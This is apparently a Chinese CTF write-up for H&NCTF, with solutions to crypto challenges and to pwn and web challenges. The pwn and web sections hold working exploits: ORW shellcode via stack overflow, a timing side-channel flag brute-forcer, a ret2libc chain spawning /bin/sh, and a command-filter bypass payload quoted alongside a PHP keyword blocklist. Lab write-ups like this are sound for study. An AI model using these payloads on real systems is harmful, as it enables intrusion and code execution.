前言

一个人奋战半天拿了个第41,Crypto也没AK,遗憾退场

Crypto

哈基coke

import matplotlib.pyplot as plt  
import cv2
import numpy as np
from PIL import Image
def arnold_encode(image, shuffle_times, a, b):
"""
Arnold shuffle for rgb image
Args:
image: input original rgb image
shuffle_times: how many times to shuffle
Returns:
Arnold encode image
"""
arnold_image = np.zeros(shape=image.shape)

h, w = image.shape[0], image.shape[1]
N = h

for time in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):

new_x = (1*ori_x + b*ori_y)% N
new_y = (a*ori_x + (a*b+1)*ori_y) % N

arnold_image[new_x, new_y, :] = image[ori_x, ori_y, :]

image = np.copy(arnold_image)

cv2.imwrite('en_flag.png', arnold_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
return arnold_image

img = cv2.imread('coke.png')
arnold_encode(img,6,9,1)

Arnold变换,可以编写如下代码进行求解:

import matplotlib.pyplot as plt  
import cv2
import numpy as np
from PIL import Image

def arnold_decode(image, shuffle_times, a, b):
decoded_image = np.copy(image)
h, w = image.shape[0], image.shape[1]
N = h
for _ in range(shuffle_times):
new_image = np.zeros_like(decoded_image)
for x in range(h):
for y in range(w):
ori_x = ((a * b + 1) * x - b * y) % N
ori_y = (-a * x + 1 * y) % N
new_image[ori_x, ori_y, :] = decoded_image[x, y, :]
decoded_image = np.copy(new_image)

return decoded_image


encrypted_img = cv2.imread('en_flag.png')
decrypted_img = arnold_decode(encrypted_img, shuffle_times=6, a=9, b=1)
cv2.imwrite('decrypted_flag.png', decrypted_img, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
可以解出如下图片:

decrypted_flag
decrypted_flag

那么可以得到flag:H&NCTF{haji_coke_you_win}

lcgp

from Crypto.Util.number import *  
import gmpy2
import random
n = getPrime(1024)
flag = b'H&NCTF{' + str(uuid.uuid4()).encode() + b'}'
flag=bytes_to_long(flag)
e = 2024
c=pow(e, flag, n)

class LCG:
def __init__(self, seed, a, b, m):
self.seed = seed
self.a = a
self.b = b
self.m = m

def generate(self):
self.seed = (self.a * self.seed + self.b) % self.m
return self.seed

lcg = LCG(c, getPrime(256), getPrime(256), getPrime(2048))
random = [lcg.generate() for _ in range(5)]

print(random)
print("n=",n)

一个套着LCG壳子的离散对数问题,需要先通过恢复参数倒推种子的方式来得到密文,可以通过LCG笔记 | Triode Field所讲述的方法来倒推参数得到seed,在此之后求离散对数即可得到flag:

from Crypto.Util.number import *

s = [...] # 题目给出的random
n = ...

t = []
for i in range(4):
t.append(s[i+1]-s[i])
for i in range(1,2):
p = gcd(t[i+2]*t[i]-t[i+1]*t[i+1],t[i+1]*t[i-1]-t[i]*t[i])
a = (s[2]-s[1])*inverse(s[1]-s[0],p)%p
b = (s[1]-a*s[0])%p
seed = (s[0] - b) * inverse(a, p) % p
R = GF(n)
c = R(seed)
base = R(2024)
flag = c.log(base)
print(long_to_bytes(flag))

可以得到flag:H&NCTF{7ecf4c8c-e6a5-45c7-b7de-2fecc31d8511}

数据处理

from Crypto.Util.number import bytes_to_long  
import random
flag = b"H&NCTF{}"

btl = str(bytes_to_long(flag))
lowercase = '0123456789'
uppercase = '7***4****5'
table = ''.maketrans(lowercase, uppercase)

new_flag = btl.translate(table)
n = 2 ** 512

m = random.randint(2, n - 1) | 1


c = pow(m, int(new_flag), n)
print('m = ' + str(m))
print('c = ' + str(c))
# m = 5084057673176634704877325918195984684237263100965172410645544705367004138917087081637515846739933954602106965103289595670550636402101057955537123475521383
# c = 2989443482952171039348896269189568991072039347099986172010150242445491605115276953489889364577445582220903996856271544149424805812495293211539024953331399

一个简单的离散对数问题,但是密文是经过换表的(本质上是一个置换),而且置换后表也只知道其中三个数字,所以可以知道这个置换如下: \[ \left(\begin{matrix} 0&1&2&3&4&5&6&7&8&9\\ 7&*&*&*&4&*&*&*&*&5 \end{matrix}\right) \] 那么需要通过爆破所有可能的置换来尝试还原得到flag:

from Crypto.Util.number import *
from itertools import permutations

m = 5084057673176634704877325918195984684237263100965172410645544705367004138917087081637515846739933954602106965103289595670550636402101057955537123475521383
c = 2989443482952171039348896269189568991072039347099986172010150242445491605115276953489889364577445582220903996856271544149424805812495293211539024953331399

n = 2^512
R = Zmod(n)

trans_flag = R(c).log(m)
tmp = str(trans_flag)
assert pow(ZZ(m), ZZ(trans_flag), n) == c

alpha = "0123689"
per = permutations(alpha)

for p in per:
now_table = f'7{p[0]}{p[1]}{p[2]}4{p[3]}{p[4]}{p[5]}{p[6]}5'
old_table = '0123456789'

table = str.maketrans(now_table, old_table)

pos_flag = tmp.translate(table)
flag = long_to_bytes(int(pos_flag))

if b'H&NCTF' in flag:
print(flag)
break

可以得到flag:H&NCTF{cut_cut_rrioajtfijrwegeriogjiireigji}

为什么出题人的rsa总是ez

代码:

#part 1  

def pad(flag, bits=1024):
pad = os.urandom(bits//8 - len(flag))
return int.from_bytes(flag + pad, "big")

p = random_prime(2**1024)
q = random_prime(2**1024)
a = randint(0, 2**1024)
b = randint(0, 2**1024)
n = p * q
e = 0x10001
flag = b''
m = pad(flag)
assert m < n

c = pow(m, e, n)

print(f"c={c}")
print(f"n={n}")
print(f"h1={p + b * q}")
print(f"h2={a * p + q}")
# c=...
# n=...
# h1=...
# h2=...

#part 2

from Crypto.Util.number import *
from gmpy2 import *
a = random_prime()
b = random_prime()
g = random_prime()
h = 2*g*a*b+a+b
while not is_prime(h):
a = random_prime()
b = random_prime()
g = random_prime()
h = 2*g*a*b+a+b
N = 2*h*g+1
# e from part1's flag
flag=b''
c=pow(bytes_to_long(flag),e,N)
print(N)
print(g)
print(c)
#N=...
#g=...
#c=...

第一部分

给了\(h_1=ap+q\)\(h_2=p+bq\),参考BLAHAJ - angstrom CTF 2024 - Connor M可以知道\(qh_1 + ph_2 - h_1h_2=0\),用如下脚本即可解出第一部分(参考了前面的文章说到的脚本):

load('https://gist.githubusercontent.com/Connor-McCartney/952583ecac836f843f50b785c7cb283d/raw/5718ebd8c9b4f9a549746094877a97e7796752eb/solvelinmod.py')

var('p q')
bounds = {p: 2**1024, q: 2**1024}
eqs = [(q*h1 + p*h2 - h1*h2==0, n)]
sol = solve_linear_mod(eqs, bounds)
p = sol[p]
q = sol[q]
phi = (p-1)*(q-1)
d = inverse_mod(65537, phi)
print(long_to_bytes(pow(c, d, n)))

可以得到:

flag{e_is_xevaf-cityf-fisof-ketaf-metaf-disef-nuvaf-cysuf-dosuf-getuf-cysuf-dasix,bubbleBabble}
这显然不是flag,因为第二部分要用第一部分得到的\(e\),而这里给出了bubbleBabble编码后的\(e\),解码可以得到:

第二部分

给出质数\(g\),有\(h=2gab+a+b\)\(N=2hg+1\),显然这是Common Prime RSA,参考Common Prime RSA 笔记 | 独奏の小屋可以得到如下代码求解出flag:

N = ...
g = ...
ct = ... # 密文

from sage.groups.generic import bsgs

e = 81733668723981020451323

h = (N - 1) // (2*g)

nbits = 2048
gamma = RR(g.bit_length() / nbits)
print("gamma:", gamma)
cbits = ceil(nbits * (0.5 - 2 * gamma))

M = (N - 1) // (2 * g)
u = M // (2 * g)
v = M - 2 * g * u
GF = Zmod(N)
x = GF.random_element()
y = x ^ (2 * g)
c = bsgs(y, y ^ u, (ZZ(2**(cbits-1)), ZZ(2**(cbits+1))))
ab = u - c
apb = v + 2 * g * c
P.<x> = ZZ[]
f = x ^ 2 - apb * x + ab
a = f.roots()
if a:
a, b = a[0][0], a[1][0]
p = 2 * g * a + 1
q = 2 * g * b + 1
assert p * q == N

phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)
m = pow(ct, d, N)

print(long_to_bytes(m))
可以解出flag:flag{I wish you success in your cryptography career}

ez-factor

from Crypto.Util.number import *  
import uuid

rbits = 248
Nbits = 1024

p = getPrime(Nbits // 2)
q = getPrime(Nbits // 2)
N = p * q
r = getPrime(rbits)
hint = getPrime(Nbits // 2) * p + r
R = 2^rbits
e=0x10001
n=p*q
phi=(p-1)*(q-1)
flag = b'H&NCTF{' + str(uuid.uuid4()).encode() + b'}'
m=bytes_to_long(flag)
c=pow(m,e,n)
print("N=",N)
print("hint=",hint)
print(c)
N = ...
hint = ...
c = ...

\(hint=kp+r\)(其中\(k\)是一个512位质数,\(r\)是一个248位质数),因为\(r\)很小,考虑构造多项式\(f=hint-x\)进行Coppersmith方法,使用参数\(X=2^{248},\beta=0.4,\varepsilon=0.01\)时可以求出一个小根\(r\),这个小根即为\(r\),从而可以得到\(p=(hint-r,N)\)

from Crypto.Util.number import *

N = ...
hint = ...
c = ...
e = 65537

R.<x> = Zmod(N)[]

f = hint - x
f = f.monic()

r = f.small_roots(X = 2^248, beta = 0.4, epsilon = 0.01)[0]

p = gcd(hint - r, N)
q = N // p

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)

print(long_to_bytes(m))

ez-factor-pro

这道题其实是赛后才看的

from Crypto.Util.number import *  
from Crypto.Util.Padding import *
from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
from hashlib import sha256
from random import *
import uuid
rbits = 252
Nbits = 1024

p = getPrime(Nbits//2)
q = getPrime(Nbits//2)
N = p*q
r = getPrime(rbits)
hint = getPrime(Nbits// 2)*p+r
R = 2^rbits
flag = b'H&NCTF{'+str(uuid.uuid4()).encode()+b'}'
leak=p*q*r
r_bytes = long_to_bytes(leak)
iv = r_bytes[:16] if len(r_bytes) >= 16 else r_bytes + b'\0'*(16-len(r_bytes))
key = sha256(str(p + q + r).encode()).digest()[:16]
crypt_sm4 = CryptSM4()
crypt_sm4.set_key(key, SM4_ENCRYPT)
padded_flag = pad(flag, 16)
c = crypt_sm4.crypt_cbc(iv, padded_flag)
print("N=",N)
print("hint=",hint)
print(c)

跟上一题差不多,就是\(r\)更大了,直接Coppersmith没办法搞出来,需要考虑爆破一下\(r\)的高位,按上一题来看的话爆破4位就行了,但是直接用sage自带的small_roots太慢了,考虑用flatter加速一下:

from Crypto.Util.number import *
from tqdm import trange
from gmssl.sm4 import CryptSM4, SM4_DECRYPT
from hashlib import sha256

N = ...
hint = ...
c = "..."

def flatter(M):
from subprocess import check_output
from re import findall
global count
# compile https://github.com/keeganryan/flatter and put it in $PATH
z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
ret = check_output(["flatter"], input=z.encode())
return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))


def small_roots(self, X=None, beta=1.0, epsilon=None, **kwds):
from sage.misc.verbose import verbose
from sage.matrix.constructor import Matrix
from sage.rings.real_mpfr import RR

N = self.parent().characteristic()

if not self.is_monic():
raise ArithmeticError("Polynomial must be monic.")

beta = RR(beta)
if beta <= 0.0 or beta > 1.0:
raise ValueError("0.0 < beta <= 1.0 not satisfied.")

f = self.change_ring(ZZ)

P, (x,) = f.parent().objgens()

delta = f.degree()

if epsilon is None:
epsilon = beta / 8
verbose("epsilon = %f" % epsilon, level=2)

m = max(beta**2 / (delta * epsilon), 7 * beta / delta).ceil()
verbose("m = %d" % m, level=2)

t = int((delta * m * (1 / beta - 1)).floor())
verbose("t = %d" % t, level=2)

if X is None:
X = (0.5 * N ** (beta**2 / delta - epsilon)).ceil()
verbose("X = %s" % X, level=2)

# we could do this much faster, but this is a cheap step
# compared to LLL g = [x**j * N ** (m - i) * f**i for i in range(m) for j in range(delta)]
g.extend([x**i * f**m for i in range(t)]) # h

B = Matrix(ZZ, len(g), delta * m + max(delta, t))
for i in range(B.nrows()):
for j in range(g[i].degree() + 1):
B[i, j] = g[i][j] * X**j

B = flatter(B)
# B = B.LLL(**kwds)

f = sum([ZZ(B[0, i] // X**i) * x**i for i in range(B.ncols())])
R = f.roots()

ZmodN = self.base_ring()
roots = set([ZmodN(r) for r, m in R if abs(r) <= X])
Nbeta = N**beta
return [root for root in roots if N.gcd(ZZ(self(root))) >= Nbeta]

R.<x> = Zmod(N)[]

for y in trange(1 << 4):
tmp = hint - (y << (252 - 4))
f = tmp - x
f = f.monic()
res = small_roots(f, X = 2^(252 - 4), beta=0.4, epsilon=0.01)
if res:
print(res)
p = gcd(tmp - ZZ(res[0]), N)
q = N // p
r = (y << (252 - 4)) + ZZ(res[0])
leak=p*q*r
r_bytes = long_to_bytes(leak)
iv = r_bytes[:16] if len(r_bytes) >= 16 else r_bytes + b'\0'*(16-len(r_bytes))
key = sha256(str(p + q + r).encode()).digest()[:16]
crypt_sm4 = CryptSM4()
crypt_sm4.set_key(key, SM4_DECRYPT)
m = crypt_sm4.crypt_cbc(iv, bytes.fromhex(c))
print(m)

可以得到flag:

three vertical lines

这道题也是赛后做的,比赛的时候还没意识到之前做过一道类似的题

from Crypto.Util.number import *  
from secret import flag
from rsa.prime import getprime
while(1):
p=getprime(256)
q=getprime(256)
if isPrime(3*p**5+4*q**5):
print(3*p**5+4*q**5)
break

e = 65537
print(pow(bytes_to_long(flag), e, p * q))

已知信息很少,只有一个\(3p^5+4q^5\)以及\(p,q\)都是质数,记\(3p^5+4q^5=r\),将该式置于模\(r\)下有: \[ 3p^5+4q^5\equiv p^5+\frac{4}{3}q^5\equiv0\pmod{r} \] 即: \[ p^5\equiv -\frac{4}{3}q^5\pmod{r} \] 设整数\(a\in(0,r)\)满足\(a^5\equiv-\frac{4}{3}\pmod{r}\),那么有: \[ p^5\equiv(aq)^5\pmod{r} \] 开根有: \[ p\equiv aq\pmod{r} \]\(aq - kr=p\)(其中\(k\)为整数),那么可以构造出如下格: \[ \left(\begin{matrix} 1&a\\ 0&-r \end{matrix}\right) \] 有如下关系: \[ (q,k)\left(\begin{matrix} 1&a\\ 0&-r \end{matrix}\right)=(q,p) \] 通过格规约算法即可得到\(p,q\)

from Crypto.Util.number import *

r = ...
c = ...

R.<x> = Zmod(r)[]
A = 4 * inverse(3, r) % r
f = x^5 + A
a = ZZ(f.roots()[0][0])

L = matrix(ZZ, [[1, a], [0, r]])

res = L.LLL()[0]

p = int(abs(res[0]))
q = int(abs(res[1]))

phi = (p - 1) * (q - 1)
d = inverse(65537, phi)

m = pow(c, d, p * q)
print(long_to_bytes(m))

Pwn

三步走战略

有个沙箱:

Pasted image 20250607201355
Pasted image 20250607201355

显然只允许使用open,write,read,又有输入部分:

Pasted image 20250607201515
Pasted image 20250607201515

这里给buf分配了一个可读可写可执行而且很大的区间,所以我们可以向里面写入可执行代码,那么我们就可以向里面写入ORW的shellcode,之后通过栈溢出跳转执行那段shellcode:

from pwn import *  

context.arch='amd64'

buf = 0x1337000

shellcode = f"""
xor rsi,rsi
xor rdx,rdx
push rdx
mov rax, 0x67616c662f2e
push rax
mov rdi,rsp
xor rax,rax
mov al,2
syscall
mov rdi,rax
mov dl,0x40
mov rsi,rsp
mov al,0
syscall
xor rdi,rdi
mov al,1
syscall
"""

payload = asm(shellcode)

p = remote("27.25.151.198", 36461)

p.sendafter(b'I think you need to prepare your acceptance speech in advance. ', b'\n')
p.sendafter(b'Please speak:', payload)
payload = b'a' * 0x40 + b'=Triode=' + p64(buf)

p.sendafter(b'Do you have anything else to say?', payload)

p.interactive()

shellcode

没有W的ORW,反编译可以看到:

Pasted image 20250607195104
Pasted image 20250607195104

进入沙箱可以看到:

Pasted image 20250607195131
Pasted image 20250607195131

可以看到不能用execvewrite还有sendfile,考虑通过测信道逐字符爆破flag,exp如下:

from pwn import *  

context.arch = 'amd64'
context.os = 'linux'


def genshellcode(idx, c):
shellcode = """
mov rdi, 0x67616c662f2e
push rdi
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall
mov rdi, 3
mov rsi, rsp
mov rdx, 0x100
mov rax, 0
syscall
mov dl, byte ptr [rsp+{0}]
mov cl, {1}
cmp dl, cl
jz loop
ret
loop:
jmp loop
""".format(idx, c)
return asm(shellcode)

flag = ""
idx = 0
while True:
update = False
for ch in b'lg0123456789abcdef-{}':
p = remote("27.25.151.198", 43975)
shellcode = genshellcode(idx, ch)
p.sendafter(b'Enter your command: ', shellcode)
start = time.time()
try:
p.recv(timeout=10)
except:
pass
end = time.time()
p.close()
if (end - start > 8):
flag += chr(ch)
last = chr(ch)
update = True
print("[update flag] " + flag)
break

assert (update == True)

if (last == '}'):
break

idx += 1

print("flag: " + flag)

pdd助力

main函数反汇编如下:

Pasted image 20250607210958
Pasted image 20250607210958

可以见到第一部分随机数的种子只可能是0、1、2、3、4之间的一个减去44174237,我们可以选择0作为种子生成一串随机数,有20%的概率成功,而第二部分很显然固定了种子为8,这样的话就不用再去抽奖了,在这之后就会进入func函数:

Pasted image 20250607211241
Pasted image 20250607211241

明显存在栈溢出,而这个程序没有canary和PIE,所以可以直接打ret2libc,exp如下(成功率20%):

from pwn import *  

p = remote("27.25.151.198", 41172)

randList1 = [2, 4, 1, 3, 1, 1, 2, 2, 1, 1, 1, 1, 4, 3, 2, 2, 1, 2, 1, 3, 3, 2, 1, 2, 2, 2, 2, 2, 4, 3, 3, 1, 2, 3, 3, 2, 3, 1, 3, 3, 1, 4, 3, 4, 2, 4, 1, 3, 2, 1, 1, 4, 2, 2, 1]
randList2 = [8, 8, 10, 9, 11, 9, 10, 9, 9, 9, 11, 9, 8, 11, 11, 10, 8, 10, 9, 9, 9, 10, 9, 10, 8, 11, 10, 9, 11, 11, 9, 8, 8, 11, 9, 11, 9, 11, 9, 10, 8, 8, 11, 9, 11, 10, 11, 8, 9, 8, 9, 10, 11, 10, 8]

elf = ELF("./pwn2")
libc = ELF("./libc.so.6")

for i in randList1:
p.sendlineafter(b'good!\n', str(i).encode())

for i in randList2:
p.sendlineafter(b'good!\n', str(i).encode())

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x401483
ret = 0x40101a
vuln = 0x40121f

payload = b'a' * 48 + b'=Triode=' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
p.sendlineafter(b'Congratulations young man.\n', payload)

puts_real = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_real - libc.symbols['puts']
log.info(f'puts_real: {hex(puts_real)}')
log.info(f'libc_base: {hex(libc_base)}')

system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a' * 48 + b'=Triode=' + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(vuln)

p.sendlineafter(b'Congratulations young man.\n', payload)

p.interactive()

Web

Really_Ez_Rce

<?php  
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);

if (isset($_REQUEST['Number'])) { $inputNumber = $_REQUEST['Number'];

if (preg_match('/\d/', $inputNumber)) {
die("不行不行,不能这样");
}

if (intval($inputNumber)) {
echo "OK,接下来你知道该怎么做吗";

if (isset($_POST['cmd'])) { $cmd = $_POST['cmd'];

if (!preg_match( '/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i', $cmd )) {
echo "你传的参数似乎挺正经的,放你过去吧<br>"; system($cmd);
} else {
echo "nonono,hacker!!!";
}
}
}
}

过滤了一堆命令的RCE,可以通过$(echo -n)输出空字符串的方式来绕过大部分命令限制,可以尝试通过遍历文件的方式来读取当前目录下的所有文件:

for f in $(l$(echo -n)s); do c$(echo -n)a$(echo -n)t $f; done
但是当前目录下只有index.php,因为/没有被过滤,所以l$(echo -n)s /查看根目录可以看到:

Pasted image 20250607234505
Pasted image 20250607234505

flag确实在根目录,因为cd没有被过滤,所以直接通过如下命令来遍历该目录并输出,因为根目录下只有flag.txt一个文件(其它均为目录),所以可以通过如下命令得到flag:

cd /; for f in $(l$(echo -n)s); do c$(echo -n)a$(echo -n)t $f; done

传入cmd命令后可以得到flag:

Pasted image 20250607234756
Pasted image 20250607234756